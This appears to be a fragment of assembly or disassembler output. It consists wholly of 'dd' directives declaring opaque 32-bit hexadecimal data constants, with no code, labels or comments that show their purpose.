dd 19B75E7Fh, 0ECC16600h, 44103ED2h, 9BCB006Ch, 0EDF95FCh
dd 8001B862h, 73ABF1B0h, 16F865CDh, 5F84003Dh, 0BB996C63h
dd 104BF51h, 0F30A0776h, 42360A81h, 0EC442DDCh, 0B811006Fh
dd 0A0032A02h, 0DA002B4Ah, 0F7D92534h, 2A68B75h, 1CAEE818h
dd 3D5E992h, 8B5B2F64h, 559BC047h, 65DB39BBh, 990062CCh
dd 0BD7A846Eh, 0FE00524Fh, 3A11E393h, 163E0CE1h, 6C8137h
dd 0DC8EEAECh, 0CD033F08h, 89F194CBh, 0E8F9A39Dh, 3FB8FA1Fh
dd 448266D1h, 0D04A6278h, 0ECF45741h, 6C009498h, 0A627A272h
dd 8202B6h, 0A77B5676h, 0C097D69Ah, 490A0300h, 23EC7EEEh
dd 6BAC000Bh, 8A5B8F21h, 0B3001466h, 0E12693DEh, 0F8AEB571h
dd 942009Eh, 0FDB1222Ah, 0B4000156h, 0B586088Ah, 0F48D9B8Eh
dd 0A87300FAh, 8459D024h, 4700AF8Ch, 0A2D32102h, 7242E1h
dd 0F7FC540Eh, 5D240CD6h, 2278A00h, 2604A4BBh, 0B5180036h
dd 0EA3CD81Eh, 0C00043CEh, 0CC7E461Bh, 3196ACFh, 9488992Dh
dd 29CBC33Dh, 6263A8C8h, 0E134770Eh, 113F60FDh, 2C015Eh
dd 2EDE74C3h, 8D4CC06Ah, 4950BB0Eh, 38D5C0F8h, 30D48AFh
dd 0CCA6A162h, 0ED881771h, 0C103EE8Dh, 0A241A50Fh, 16C08584h
dd 1336E3D1h, 0DCF067h, 0E4A6BFF6h, 761FC861h, 79C3035Ah
dd 0E049CFAAh, 3B8D870h, 0C4943692h, 7AB80A4Fh, 0E800A052h
dd 418C04ACh, 689EA4h, 797681A7h, 0A695E9F7h, 0F428F307h
dd 4EC0C7EEh, 0F393C74h, 5BC019AFh, 5F12B5E0h, 33EC1069h
dd 0D190E41Eh, 2C42DE47h, 153053F7h, 0FA2D2Bh, 9EC4B506h
dd 0F8586630h, 0E4A52401h, 741D1B27h, 0F8DA5DE0h, 0F2340004h
dd 0A29F7109h, 0E01DBCFBh, 320137DEh, 5B1487D0h, 0C080E89Eh
dd 0B5517CA7h, 0E13B9C4Fh, 2E948799h, 0CAE0CEA1h, 0EAD9D2AFh
dd 0C95C03D4h, 6EF4A690h, 2937C4E8h, 0D1538200h, 17C8E665h
dd 481F009Eh, 8070EBDFh, 0AD7A9F3Bh, 0A2976C07h, 58C0A0A8h
dd 0C09A79h, 603FABF7h, 37310E9Dh, 95CFE100h, 69FE4CE5h
dd 0F3040382h, 1DCE2336h, 97D3CAD0h, 0AB3CBF00h, 53996E9h
dd 7D24586Bh, 0FCD3B00h, 5D7A1E61h, 83D7F000h, 757EC2EFh
dd 0A3FD0058h, 904CCEBEh
dd 6400BD12h, 0B0507DC0h, 74EA14h, 68F3AB46h, 0B52FF4B1h
dd 72768703h, 0E81A7A16h, 0F647F2h, 0F145B7CEh, 0FE088160h
dd 0BE7CD600h, 4B56698Eh, 667030F8h, 0EBF04CC6h, 0F4231A1Eh
dd 0F1862280h, 0D9D559h, 8B3457EAh, 23C98441h, 0DDF60800h
dd 502DD3E1h, 365300DEh, 566869A7h, 1802336Ch, 152F5296h
dd 0BCAFE0FDh, 34E390Bh, 19616B01h, 0C81276FCh, 88011389h
dd 0C61D9AB0h, 98DBEE26h, 6ECBDDh, 0FC2D0560h, 9178E73Eh
dd 561E5E00h, 444F3B98h, 4E0D03AAh, 7546A522h, 0A6DC18C8h
dd 886A6502h, 0C0BEB77Fh, 0C474F6h, 0E162725Fh, 83059D43h
dd 157501FAh, 0E909A7F4h, 820FADEAh, 0E074D646h, 596640h
dd 0B29678BEh, 41DEF42Dh, 72DC9E00h, 9428372Fh, 1DEFE0D9h
dd 80E786ECh, 699A59CEh, 5C0FC715h, 0A02CBC64h, 2B1B0120h
dd 7CC80EC0h, 8D609103h, 5E926ED5h, 5DEEE104h, 268713A3h
dd 9DA5C950h, 0EDE308Ah, 669B30C4h, 38AE6800h, 2384751Fh
dd 0E70900BAh, 4365F3F0h, 610057C8h, 0C3330F41h, 0C67549h
dd 18B3EC21h, 5FBC9563h, 0A71A5903h, 5D7811h, 9E4AFFA4h
dd 31C05032h, 1C00F273h, 0C930ED93h, 59C429h, 5EDE4620h
dd 4A448068h, 0AF638h, 0FB52B78Eh, 0C2A207h, 0BF63302Eh
dd 6FD744BBh, 0E0B938h, 0B32DC59Bh, 0E2ACA69Ch, 0CFF3040Ch
dd 0C068A95Fh, 518E984Bh, 550070B0h, 401B0AE8h, 717088h
dd 0E3CAF8DDh, 0C0F18C0Bh, 2CFE4E5h, 0F68B990Fh, 0AE29805Fh
dd 272324h, 0CA19892Ch, 1C1188Eh, 0D30660EFh, 0AB04B400h
dd 4F4A0FF6h, 48253815h, 0E5C97300h, 321D8488h, 0AD3B700h
dd 28ABB54h, 0A2D40022h, 82B97CCCh, 0E40036B2h, 4D28327Fh
dd 0E62655h, 0D29C2D68h, 0CB44E3AEh, 840C7900h, 0C21BFF19h
dd 6E6B000Dh, 2C4A6778h, 14EAA29Eh, 0A70B9400h, 0B138E51Ch
dd 8E920013h, 73CF5A7Bh, 400EB81Eh, 0C0ADDB14h, 37BB711Ah
dd 0EA530006h, 7947733Bh, 0CE001F12h, 0B1028DFBh, 7DCCC3Ch
dd 49E0EAB0h, 0E5DBE092h, 6BFA26AEh, 0C251C00h, 0EEB747A1h
dd 0D77C0001h, 408C978Bh, 7E027621h, 93221BCEh, 4987403Ch
dd 0E67389h, 31F195BFh, 0DC2D616Dh, 0A83BB00h, 43AD136Bh
dd 3D4EF892h, 3B80A5C2h, 5A5B2D8Dh, 3E026B54h, 2F66432Eh
dd 3A0CE0BBh, 0C0D60095h, 0B821364Eh, 8D715CA8h, 868B5400h
dd 17795B7Eh, 68821D55h, 0BCB1C091h, 353FD860h, 0CE758790h
dd 0AB38BB00h, 746C3C95h, 0D4390734h, 40A01F20h, 0C067325Ah
dd 4980009Fh, 719F7264h, 0C7410031h, 7F95E7B9h, 0DB002F3Ch
dd 0BE9A02A7h, 0F0F3FB60h, 758D0027h, 4468CBCEh, 0D6005572h
dd 89743C06h, 26629021h, 0AAB109h, 923BE384h, 7F020CA5h
dd 4D9B3A44h, 0C6BD608Bh, 0C07238h, 232D3B57h, 4A564164h
dd 3C44AC00h, 92EAA6AFh, 0D2DC00A1h, 7DBE4962h, 0C91C91A7h
dd 0DAC086C0h, 2A1C39D5h, 6EAD3AD0h, 0ABBC7784h, 0C685DFh
dd 40F65F62h, 1200E605h, 2764D007h, 7C19DAh, 0E946F968h
dd 42210365h, 480F8F03h, 0E0CEDEDCh, 1FEE67h, 0FEC64BB6h
dd 75613B4Ah, 801C2C00h, 0B41D6F57h, 33D50022h, 0D92A665Fh
dd 293E647Ah, 0D2D88096h, 53A9E588h, 0C52207DEh, 3EA18BEh
dd 4CD89E71h, 0E00ECB4h, 3B413DDFh, 0E8939640h, 3F61EE6h
dd 0C62780F0h, 86D79937h, 0B489E21Dh, 0C1D9F1C7h, 99C01E65h
dd 7490408h, 0AB214FB3h, 0F917735Fh, 0D55E76D8h, 0FA2E1300h
dd 0CCC07CA5h, 0E4C00A2h, 23B87284h, 0F0BF3618h, 0CDED032Ah
dd 3A4768B3h, 547A5690h, 0CF4C0900h, 0C4109FCCh, 60293EB1h
dd 0D3A24800h, 0B75AA48Ch, 0C10FDA00h, 4FD0981Fh, 0A8BC007Bh
dd 0D1E7CB71h, 5200C9FCh, 0F0E39B76h, 0BDF328h, 6F8518DBh
dd 0DDBBB30Fh, 66C039h, 9464F9F4h, 5784C8h, 3E9CC2A1h
dd 24659E58h, 3CFD3204h, 4EC0239Ah, 6E2B8Dh, 6B01A431h
dd 0D84A7848h, 12D9A300h, 7043C4ACh, 0E18900CDh, 0A8D4E222h
dd 0A100B09Dh, 0A57C30FCh, 1FD34098h, 40213E35h, 45AE01D7h
dd 0A800CD1Bh, 33288C51h, 483D3B36h, 4660E67Bh, 640793B0h
dd 0B6A8E01h, 38C1E843h, 5ABBF0h, 886604BFh, 0E94E2558h
dd 790FB43Ah, 1993EC17h, 81BDF300h, 313B7FCh, 57FEC4AEh
dd 385ED45h, 5163FDB0h, 707CBDA8h, 781EAA02h, 0E0C119EEh
dd 1EFDD20Fh, 7E8D6421h, 0BC1B4380h, 0ABF606ACh, 7533A400h
dd 1A78419Ah, 0EE2E4C8h, 794C90AAh, 12613160h, 0EC0F5923h
dd 60723874h, 8B35986Dh, 764F16F5h, 0C600BBA4h, 2E44D583h
dd 0EE500099h, 0E3718D81h, 450014F1h, 625CD776h, 1EF26030h
dd 4082DE16h, 8B155D38h, 79073D3Fh, 2399C99h, 3730D1F0h
dd 2F7E0078h, 8E0A76A1h, 7200C531h, 41F5B908h, 7435363h
dd 747D6673h, 0BF4ED0B0h, 30E45DBDh, 0CEB65B00h, 5C51F6ECh
dd 2ACB07FFh, 0E1166B07h, 3E75E939h, 0FA36B0h, 40A63DD4h
dd 20370261h, 14A15E00h, 75665A1Ch, 0F4EA50h, 8273D89Fh
dd 0FF7DD106h, 0F69E6307h, 1BF027E8h, 7A232266h, 0ABB60067h
dd 7D12F170h, 0D9F437D7h, 3BEE3F00h, 0D0A235C8h, 65C300BDh
dd 391E7B9Ch, 1D7C5BE8h, 9182100Fh, 0F5A1214Bh, 0D360CE96h
dd 81DA3E77h, 0CA7CF80h, 0E139F45Eh, 0B394BE00h, 53A1344Dh
dd 9AC80037h, 0F7FD8092h, 0BB002D9Fh, 0E76C398Eh, 0E8E076h
dd 6F78E66Dh, 419FF5C5h, 6200377Fh, 3FBAF953h, 0CAC829h
dd 769691AFh, 0F30E774Dh, 0B5329200h, 0D2D5F280h, 8A230026h
dd 6E997D56h, 0F4006CB2h, 54FB4686h, 602DB640h, 49A62EAh
dd 0F800ABEFh, 227A34B1h, 1F1DE9h, 99E61A6Bh, 819F2FD9h
dd 6F3DB703h, 887B67C3h, 0AF4F7Fh, 25CD7C5Eh, 1DBC690Eh
dd 4B1BBA00h, 0E315BFD0h, 4E1100EBh, 0B4CA6DB7h, 0F30139DAh
dd 62DBFB7Ch, 0B887D302h, 0A0331EA5h, 73E24558h, 0BD0ED038h
dd 0C2CC89C4h, 397A80E7h, 76616B5h, 0B09C1D13h, 604D27C5h
dd 371A564Ah, 0AC572607h, 88304784h, 3604BBh, 25D71C6Dh
dd 632F5B20h, 0F8965600h, 0A982090Ah, 6E8C0765h, 205AFBB8h
dd 9212BB2Eh, 321E2500h, 80384B5Fh, 9343000Ah, 0D6D8C16Ch
dd 99008B26h, 0F7FC60F8h, 78B94DEEh, 2A11001Eh, 675CDE19h
dd 960E950Ah, 0A07E2EE3h, 8D69364Dh, 0BF860037h, 0A7D44C41h
dd 2E00980Eh, 87057BEh, 0B09359B3h, 0DBE01FB4h, 0E4B9BE4Fh
dd 0C9D43B8Fh, 17B128E0h, 94000F37h, 6B0952B6h, 7D7BA2Eh
dd 0E791EF69h, 0F54F50FBh, 2006557h, 0CF09B813h, 8D514h
dd 2D7775F1h, 0DFB9B140h, 0C8509C00h, 2CC561E0h, 0C3363FF3h
dd 0E60C007Fh, 3835EBC7h, 4A07DCACh, 24096BD5h, 639D0D40h
dd 10800EFh, 807A6453h, 0C902A9E4h, 32EB776Bh, 3561E0AEh
dd 37625CF4h, 1E81D53Ah, 34D623ADh, 0E9033014h, 101E607Dh
dd 80FC065Bh, 7EFFD7DFh, 9E2563h, 3BC32889h, 485999A8h
dd 9C07B200h, 262B8A83h, 6B3F007Bh, 9A6511E3h, 0C4ECE18Eh
dd 0E290C500h, 0DC39BE4Dh, 370C2h, 0B07A1668h, 0B4C31AEDh
dd 0F605F20Bh, 264B83D6h, 0C0BDA322h, 6DB677h, 754D2AA0h
dd 0C003418Eh, 729EF800h, 393B5B5Eh, 49A500D3h, 0DC9F63D1h
dd 0CF00F638h, 8FDDC3CDh, 0EAD24Ch, 7CD9B191h, 29793140h
dd 4300EC79h, 0E39D8369h, 630AD0h, 427A14C1h, 0BB38B5B4h
dd 1C58A900h, 86D068A2h, 17F27063h, 96AC41h, 4776433Dh
dd 0F1001C81h, 0DEFBAD34h
dd 98247Ch, 0F0C5B1Eh, 0C64C592Bh, 83D8583Ch, 47298B5Ch
dd 9052F89Bh, 0DF980112h, 0CA728D56h, 0D7AFECA5h, 0F120B700h
dd 0C152DE82h, 6A5501A9h, 0C9D84B5Ch, 0BD792097h, 0C6ABEA00h
dd 4CA5090Ch, 0A4E054h, 8620921Bh, 3C195781h, 80D9AC38h
dd 71C6E68Dh, 3AF03F7h, 49400AFFh, 578F57B9h, 24B710E9h
dd 0AB005C3Dh, 2F77355Dh, 0FAF95h, 3B97ECF1h, 0F0C6B551h
dd 0E3F9FF00h, 93992679h, 0E7E9007Fh, 6F48555Ch, 84004265h
dd 7B7C37EEh, 47B0FFh, 32BF4BABh, 8978139Ah, 7570AD00h
dd 0E8B171FDh, 769843h, 0ACF9811h, 0F1F90496h, 8E59911Ch
dd 0C88BF4C0h, 0EBC1D0EFh, 90FF3A20h, 3A7B0025h, 0D6A72438h
dd 330EF05Eh, 87819BA2h, 350291Ch, 3C85FB83h, 0C500D937h
dd 84D51FE9h, 800EDBEh, 6F6AB04Ah, 0C9EA06h, 5DA2D87Bh
dd 2212053Ch, 8C03A600h, 3B67A118h, 166FCD2h, 305315E2h
dd 0D55B84A8h, 0DCFF098h, 0A0AE3701h, 5A9AC3BFh, 1D0327E8h
dd 0C0C4AD78h, 39B865E9h, 96283233h, 0A103FA3Fh, 1211A702h
dd 930DB06Dh, 0EB1C00BCh, 0D6992A88h, 32177719h, 9F0089EEh
dd 1B51D56Bh, 0C359009Ch, 0A8E8876h, 7C7B5394h, 3D00FD79h
dd 0DACE0BE3h, 0DFBC87h, 14AA8E5Fh, 4274EA3Eh, 2C13A00h
dd 0B212E44Bh, 0E8DB00F7h, 292F70E9h, 0B503D56h, 0A63CC78Dh
dd 0B55480F8h, 49A7211Ah, 0DA3C1C04h, 70BB03C0h, 0F0C874CFh
dd 0A1004231h, 2A78D535h, 1BA8C7h, 5FFEA95Eh, 0F99A7BF5h
dd 0CD39E1Fh, 0C06FF08Eh, 0DA53209h, 6EEB3F7Dh, 0C1BD5000h
dd 21891147h, 0FC0EA11Fh, 23E94C0h, 18D963h, 278EEE4Ah
dd 957CBE36h, 0D1211900h, 5DC6B715h, 432C00C7h, 53ACFE2Ah
dd 4B1DEE22h, 0E00B326h, 9957B1C9h, 11ED01D0h, 0D983A7DEh
dd 0AE9BD06Ah, 0BCDBE100h, 0F5924544h, 5E93009Dh, 7B35D7Fh
dd 6C1F5901h, 0C00E9C02h, 5504A1E2h, 0E20C537h, 0E381C92h
dd 527140A0h, 309769F8h, 3933EC01h, 0EA04FB13h, 17BECCh
dd 608FF5E7h, 0EBE4C080h, 0B1A038h, 3D126A94h, 3BFFB366h
dd 838F5051h, 0BE00CC44h, 952B3155h, 7C1CE400h, 0EFF7F3D2h
dd 440B5867h, 0C1E82800h, 58B3FE68h, 0C28C3B01h, 0D29241D7h
dd 1D06831h, 954800A3h, 0E42AE95Eh, 0DE000E5Fh, 231ACE8Ch
dd 0B07F151Ch, 798600EFh, 7A4FDFC8h, 0FC007C17h, 0CF36599Dh
dd 9ED591h, 7527EA4Ch, 0DB546997h, 0A4B60807h, 0F4B0822Ah
dd 0BA8A3Bh, 7A59CAAh, 0DEC5BFEh, 310074EEh, 199F13BFh
dd 0E2CFA2Fh, 0CF1D39DDh, 0C3910820h, 24000272h, 96E2895Ah
dd 3DA8682Eh, 1600882Ch, 7E067865h, 7FB8B39Ch, 0EC674A00h
dd 31FBE0BBh, 874D0072h, 250BA9D3h, 96006FEFh, 7EB6229Dh
dd 18B17F8h, 0F6B84EACh, 0C5A67516h, 7AA8F83Dh, 615E3600h
dd 300DE88Ch, 423900C7h, 23F197AAh, 1A243519h, 2100E033h
dd 84557D28h, 448D007Eh, 4D675975h, 7A035048h, 0C7EC6324h
dd 99D2A072h, 0FCE7EC2h, 69AA79AFh, 0EB4AF0A0h, 0D4003ED7h
dd 8CFEF571h, 4E45DAh, 4C1D0BFFh, 0AF212CE7h, 8292B00h
dd 0E24061A9h, 4B960FD1h, 0D42028B7h, 0F512D3BDh, 120100Eh
dd 733A04Ah, 58632D49h, 2F1CF0C4h, 594CCA99h, 526500D1h
dd 0A69A3B76h, 5C14A23Ah, 20B00070h, 4033F4D9h, 3857002Ch
dd 674E66B9h, 2B013E3Ch, 0CC7E9A25h, 0E0DEDFE8h, 3D49DCh
dd 1F0C32C6h, 98F8AB31h, 0A90029FEh, 0D46DD6D5h, 5F8094h
dd 0B81A3B6Ah, 71A7BE79h, 0FCC92A13h, 7030B400h, 48059096h
dd 0C5030FE8h, 64B63F0Bh, 7B3AB3C8h, 1CF5E00h, 0C9C1D596h
dd 0DB6600D8h, 0A90C1A65h, 790FAA75h, 60B8F3E4h, 57AF7487h
dd 0B812DD9h, 7700A87Ch, 0DECE4170h, 0CB3400E8h, 0DA32DB0Ch
dd 0B4059EFDh, 16BD53C2h, 798E9A07h, 31CD80D9h, 8C5DD9h
dd 1CF81437h, 6AB222A0h, 0CEFACD00h, 0A3333BE0h, 8E0E07B8h
dd 23C8FB50h, 3781B9FCh, 0B388E4F0h, 0AA0FA87Dh, 6025BF85h
dd 23D07362h, 4B0B02B7h, 0F3EE0D87h, 6500ADF8h, 0C1B8487Dh
dd 781C63h, 0A3F709EFh, 8C0B477Fh, 8B14661Eh, 3C380680h
dd 6BF8FEh, 0EEB29B5Ah, 794B4E50h, 0DC1A8D1Eh, 5B6CE600h
dd 0F28246h, 0A35E982Fh, 91990EAFh, 2340D703h, 0B8CCB473h
dd 0EAE01Eh, 9AC1208Ah, 76A10F75h, 1C948900h, 6756BD23h
dd 129E01F5h, 0D3482CF3h, 6EF6F43Fh, 800F931Fh, 6CD20A00h
dd 0E9E1Bh, 65CA57Dh, 1513DABDh, 17478500h, 0CDDDCA1Ch
dd 27C70093h, 0E92F5FB9h, 0A2004DF8h, 5DF9E1C3h, 3DC81Bh
dd 0BA07DF7Bh, 62276C39h, 1D3FE5Ch, 0BBEBF1C0h, 9FC9BD34h
dd 8C56E8h, 0C62004FAh, 6F8E19D7h, 52794900h, 0F6CF1ADBh
dd 0EA0500B4h, 0E8C412F9h, 0DF7836CEh, 0A6000471h, 47268F4Eh
dd 0A12B41h, 469F9D7Fh, 22DFEAD0h, 0B156E628h, 0B41BD8FFh
dd 430084E0h, 0BB6C1D33h, 0E72D2Ch, 49ACA810h, 2530C84Bh
dd 795A5D1Eh, 92727500h, 0F9A9FCh, 0E47C1811h, 8568DD07h
dd 0C177DF1Eh, 21F00Fh, 0E2FE06F8h, 0D9644CEEh, 93C50E7Ah
dd 1220B3h, 0B0C0A2A1h, 0DE008772h, 165074B2h, 0B82E42h
dd 17F6C1D9h, 5DE48D05h, 8091C238h, 0D0BC1DD3h, 0F8219CAh
dd 98A36DFDh, 0CB590AE0h, 0A61D348Eh, 94406895h, 441E7F2Bh
dd 19510793h, 30579760h, 0E080AF5Eh, 0D9229400h, 1C84C301h
dd 0FA310046h, 0F4564CE3h, 2A0067D3h, 98E2A155h, 297B36h
dd 3423546Fh, 0F03AE969h, 815C3Ah, 43F7DF1Ch, 3C81EB7h
dd 7F6D760Ah, 34D049B2h, 4DF8CD0Fh, 336A9F0Fh, 80108077h
dd 0E22371Bh, 157C285h, 5A02807Eh, 29CEE6DCh, 0C49C4D07h
dd 0C0F0B5A7h, 0E3D767h, 414B2B63h, 39662918h, 1B6848h
dd 0DA8ABF6Ch, 7D18B7Ah, 51BE4E54h, 0CBBB501Dh, 2539BD3Eh
dd 550E7CD9h, 0A04B587Fh, 0AF9D7976h, 6E140008h, 8AF2622Ah
dd 9C776D5Fh, 57FECF02h, 401CD696h, 3ECBE3C3h, 0BB81C709h
dd 0F47E2110h, 0AAA07FFFh, 0CF5B07D5h, 207620DDh, 7162A9DAh
dd 376548h, 1BBD884h, 1D267D9Ah, 0E133B9h, 0B6965B2Ah
dd 0E200A2C1h, 743ECA47h, 9AA2F2Eh, 85A76DC5h, 0A9B4B200h
dd 8400AD16h, 0D05D6140h, 0C05F7Fh, 0E2A5505Bh, 0ED2497C7h
dd 38C4Ch, 17DEB662h, 7039315Ah, 0E5D5009Dh, 9E122540h
dd 891EBD28h, 0AE800B1Ah, 1E74DABEh, 62E90315h, 0BC45D067h
dd 3DA2FFB0h, 0A7D11900h, 2452E26Fh, 17B10072h, 0EA381C32h
dd 5F007ED9h, 0F3E3420Fh, 3B84A003h, 0C01FC9E0h, 5751CF55h
dd 0DABA3A0h, 160040F6h, 1C8E549Ch, 5DD50Bh, 926FB532h
dd 35E476D3h, 2A84C500h, 6AC396E0h, 0C64200D6h, 0ACE7E26Bh
dd 0F1004C69h, 0BCA4656h, 0E81657h, 373FF038h, 0D09CBF12h
dd 493C4201h, 89942B52h, 78EFCCh, 9B17DFB9h, 16CB8B2Fh
dd 2A529916h, 0C8FF8400h, 62F086h, 9CF4F5BDh, 5DC512EBh
dd 7A1DF600h, 4BC8BF4Ah, 0AFC03E4Ch, 3BB44080h, 5E27CADCh
dd 5DA4F400h, 0B6576468h, 0A0290075h, 0EE409E53h, 0E8054CFCh
dd 34C92DCCh, 454AB280h, 326600FDh, 0CD174873h, 0A2266D2Fh
dd 0FE008512h, 0B03B8FF0h, 11D700D1h, 0F5D66FF3h, 0BE1754E4h
dd 47002548h, 627379C6h, 0CBEB00CDh, 8E514F1Bh, 0FF1C7B08h
dd 8CCEACC5h, 0DCF0C727h, 0E79610F0h, 0E3AD09BDh, 0B6000EABh
dd 6979C32Eh, 32B06303h, 88F3C03Dh, 5858C924h, 7886DBh
dd 0AC69C491h, 5915974Bh
dd 47387300h, 9EC9A901h, 0E8F4E6B1h, 0E4AEFE9Dh, 3370040h
dd 955B5E7h, 11179F36h, 1010F87h, 7FF97B49h, 50D9C02Fh
dd 0C1F2F5F8h, 7905C300h, 0B51E47B9h, 41A9001Ah, 0EF2080B4h
dd 0BE904E9Fh, 0CF86B600h, 0D85A592Dh, 0FD5C0722h, 506176DBh
dd 7D7C2F47h, 83A59500h, 2150C12Ch, 97200072h, 1E94CDC6h
dd 0B3FC34D2h, 2EBC670Bh, 6FDF00ACh, 7199C929h, 97980045h
dd 0CE5590FDh, 320559F8h, 372AEA35h, 299D81AFh, 4D91CFF2h
dd 76A5E4D7h, 38F94Ch, 0CA375E3h, 751D9486h, 1C7C009Bh
dd 52030922h, 0CF00DD51h, 0B0CCE0C7h, 0CA3258h, 0EC9ABF91h
dd 3D829B5Ch, 1BE66907h, 0B69062BCh, 0A74413h, 92203EF7h
dd 35D3574Dh, 0F4027678h, 67D09646h, 0F8ADE053h, 7B600E5h
dd 72C4CD95h, 19ECA7F6h, 0F9000FB0h, 2D3AF06Bh, 0CA45C7h
dd 2AA04F7h, 0E5D1A771h, 69BC1E00h, 617446Bh, 0FFEC004Eh
dd 0E878E9BDh, 58024297h, 8BCBA298h, 0A6006026h, 65010172h
dd 9A9D6E8Dh, 0ED69CCD4h, 6CFA3207h, 4C30AAFDh, 74D5B98h
dd 9155D026h, 0F3F260B8h, 701D2D1Ch, 0E300ABDBh, 97B45447h
dd 3414035Ah, 2E7C697Fh, 0F55FB698h, 1D6A0C48h, 3C40D1BCh
dd 0EE6D479Eh, 0AFFC00A9h, 0F89D5E2Dh, 720022CCh, 9712FB45h
dd 0A6B159h, 0DB1603BFh, 4E5A811Ch, 980C9A00h, 4134AB35h
dd 699C0083h, 0ED779267h, 82008E2Ch, 0F0E06AEEh, 1D254980h
dd 7117E8Ch, 95954D89h, 98D2815Eh, 0D61E9h, 42A581E9h
dd 29F73600h, 0AF381082h, 0DF0100D7h, 0FB641F65h, 0CB7285ABh
dd 0ADFA4Ch, 0C2F50725h, 79E1BB37h, 82701C2Dh, 134040E7h
dd 5D6B1F87h, 373A3400h, 4367A25Eh, 9DD80074h, 0D34D3633h
dd 0F9020930h, 0AC16E76Ch, 0E1B14062h, 0F1290E94h, 44E0257Bh
dd 3DA045BCh, 0F4001BEAh, 835B1A05h, 18D567h, 68A59A8Ch
dd 2C77544Eh, 0CCEC7301h, 0C304C4D4h, 8A76C8h, 51EA4642h
dd 0D9430CBEh, 7C2BE503h, 813267A9h, 6F305EA2h, 0A33B0F17h
dd 0A4FF2629h, 274005Ah, 0F498969Ah, 4C0B4A00h, 32F3FD1Ah
dd 2AE2A9h, 0FF4280A5h, 21D0F7B8h, 2C94C01Ch, 0B6888C0h
dd 1D7E095Eh, 80176BC9h, 0AADA85A8h, 7A00169Eh, 51B910C7h
dd 744F890Bh, 0D177000Eh, 938CF0CDh, 0C7E6D8CCh, 46408E00h
dd 8ACB910Dh, 0B60500AEh, 7BDD7238h, 1F09FB26h, 43241D58h
dd 0E8E99846h, 0F14B84Dh, 837FB0F1h, 652F6D20h, 0B900AB75h
dd 3E484FFCh, 0EB2C85h, 99E9571h, 6267366Ch, 8A11E600h
dd 1B43C881h, 7EC407BBh, 6093F40Fh, 0E3920FBh, 0D0A8500h
dd 0EB10A42Eh, 4B34008Bh, 8825947Dh, 0CC128424h, 9A0783DDh
dd 3E50B3FEh, 51073Fh, 36851140h, 0F99D4E17h, 4900EE72h
dd 0F7667BE4h, 0DE0121h, 50F0A53Fh, 1BEA51E7h, 0C1D21C00h
dd 2CEFBF69h, 2F6007Eh, 47435EE6h, 8400FD3Fh, 0CA80F5FEh
dd 1C856DBh, 863ED8Ah, 401B1659h, 0E7F673E4h, 0A3050702h
dd 4002AC75h, 0B2F44Bh, 0DF1535BAh, 60CB170h, 80EAE039h
dd 0B6A886EFh, 50FB72A9h, 0DF442h, 0EA986BE5h, 0FC5CD7F9h
dd 0CCC67000h, 37FF7C21h, 76530041h, 0B19AF6A0h, 0E00F446h
dd 81B8F07Eh, 1ED6E04h, 0EE3E7FA4h, 0C8D634A7h, 4E1D5CDFh
dd 0E900B268h, 103D6D60h, 27D3008Fh, 8703301Fh, 0E70E55C3h
dd 21B5DAE2h, 7BF9F862h, 95EBD8h, 9DA645DEh, 0EC8767F0h
dd 150C720Ah, 0E503C133h, 90CF6265h, 9DB25B2h, 1879806Ah
dd 0E25F2780h, 0FAE038D9h, 8039C63Dh, 748B78DEh, 1F59023h
dd 0C5496B6Ch, 0E8C11AF6h, 87F89926h, 5F5CB5E2h, 0DC0E0080h
dd 61059FD2h, 41B90729h, 40769EC1h, 0B4E12F3Dh, 0A2D31207h
dd 600FE16h, 0A01EABh, 0CB835473h, 0C474A61Ch, 3F2D2F03h
dd 0E8666421h, 0D95979h, 0F8C9258Bh, 0CAE35A2h, 0D300CFEAh
dd 6062068Eh, 92A1A3h, 0F7A4DCF9h, 26F27B4Dh, 249D6A00h
dd 0E95E4B88h, 69A60096h, 2925A2B9h, 0CD002AF6h, 0E4BF983Bh
dd 1DFC6B0Bh, 3EC14Eh, 54E08EAAh, 7601A4A0h, 0F2788B26h
dd 4F30C275h, 83C100C9h, 1EE0CBABh, 1200F107h, 5F889AAFh
dd 7515163Dh, 7F5D0030h, 34CC9CC9h, 0FE641DAh, 6E4F2600h
dd 8139BE90h, 5DEF00F0h, 1C67F59h, 82EE1622h, 8534F200h
dd 0FDB87329h, 9A0800F8h, 0D6BB2677h, 0D40318FCh, 88C7E641h
dd 8FEBF058h, 17F07h, 1259BF80h, 16A12F30h, 0D05F2909h
dd 8B91894Bh, 0C6F800C9h, 1C42B322h, 0D89CEEh, 0E884883Eh
dd 57F250CBh, 10009D7Dh, 8E9A3D2Bh, 0CE7771h, 4CCCC57Bh
dd 0FCA507AAh, 3AC96800h, 2556801Ah, 0A8D30082h, 3F94042Ah
dd 0C6017EE7h, 58A97303h, 3770E2C9h, 0A2050065h, 393EC08Eh
dd 0F1177815h, 0D1DE161h, 11DF807Ch, 0E2727EBFh, 0DA12001Ah
dd 0F979245Ch, 2C00D182h, 3CE64D5h, 1C66A7D7h, 4AA297h
dd 29242390h, 3BE6AC86h, 0B7AB2B00h, 0B9E85099h, 15EEF0h
dd 0F1386D2Fh, 0ECBF3CDBh, 0E455A200h, 98B9800Dh, 0CF740090h
dd 73F43344h, 0D01D7928h, 0D9053B8Ah, 0F9802AD8h, 7D0A4Eh
dd 0CABDC6A5h, 5D042CAFh, 59F69203h, 0C8B9E4EAh, 864B0Fh
dd 6A13DABBh, 2A53933Dh, 1A007E7Bh, 54F98536h, 64DD7Dh
dd 0A1CE83B2h, 2BE2CDBBh, 82301800h, 7498A061h, 0D7020058h
dd 0D69BC762h, 15001AEEh, 3A77F86Dh, 3939EA81h, 0FB0F0CAAh
dd 402017E1h, 203AE3Fh, 99F5500h, 823BA913h, 0FD831F37h
dd 0CA980ECDh, 15AEA620h, 0B0002D9Dh, 0FE60852h, 0F9A9B40h
dd 0D3B468AAh, 71E041CEh, 0E076954Ah, 0E600DFF6h, 2D1463F6h
dd 453593h, 5EF233A8h, 1851A70Ah, 543D1312h, 946BE100h
dd 0F5CC29Ah, 0A7602F04h, 0F0ACDAE1h, 44033A3Ch, 0D8A51D7Bh
dd 5ECFE2h, 9EDB203h, 0D20EF764h, 0E7060F00h, 0D6E901B5h
dd 90F90060h, 0B488E19Bh, 7100B768h, 618C2280h, 0A0BFF8D8h
dd 3F6596ECh, 0F98034BDh, 0A97B862Ch, 6C00B6E8h, 3982B901h
dd 0E88E1843h, 0A69C00E1h, 90BB1D13h, 8C006A1Ch, 8A3FC50Ch
dd 12AADD3h, 0E9562ECFh, 0C851C189h, 860084AFh, 0BD1D9DD0h
dd 42F3FAh, 4635D763h, 82C888A5h, 4705AD00h, 19985CAFh
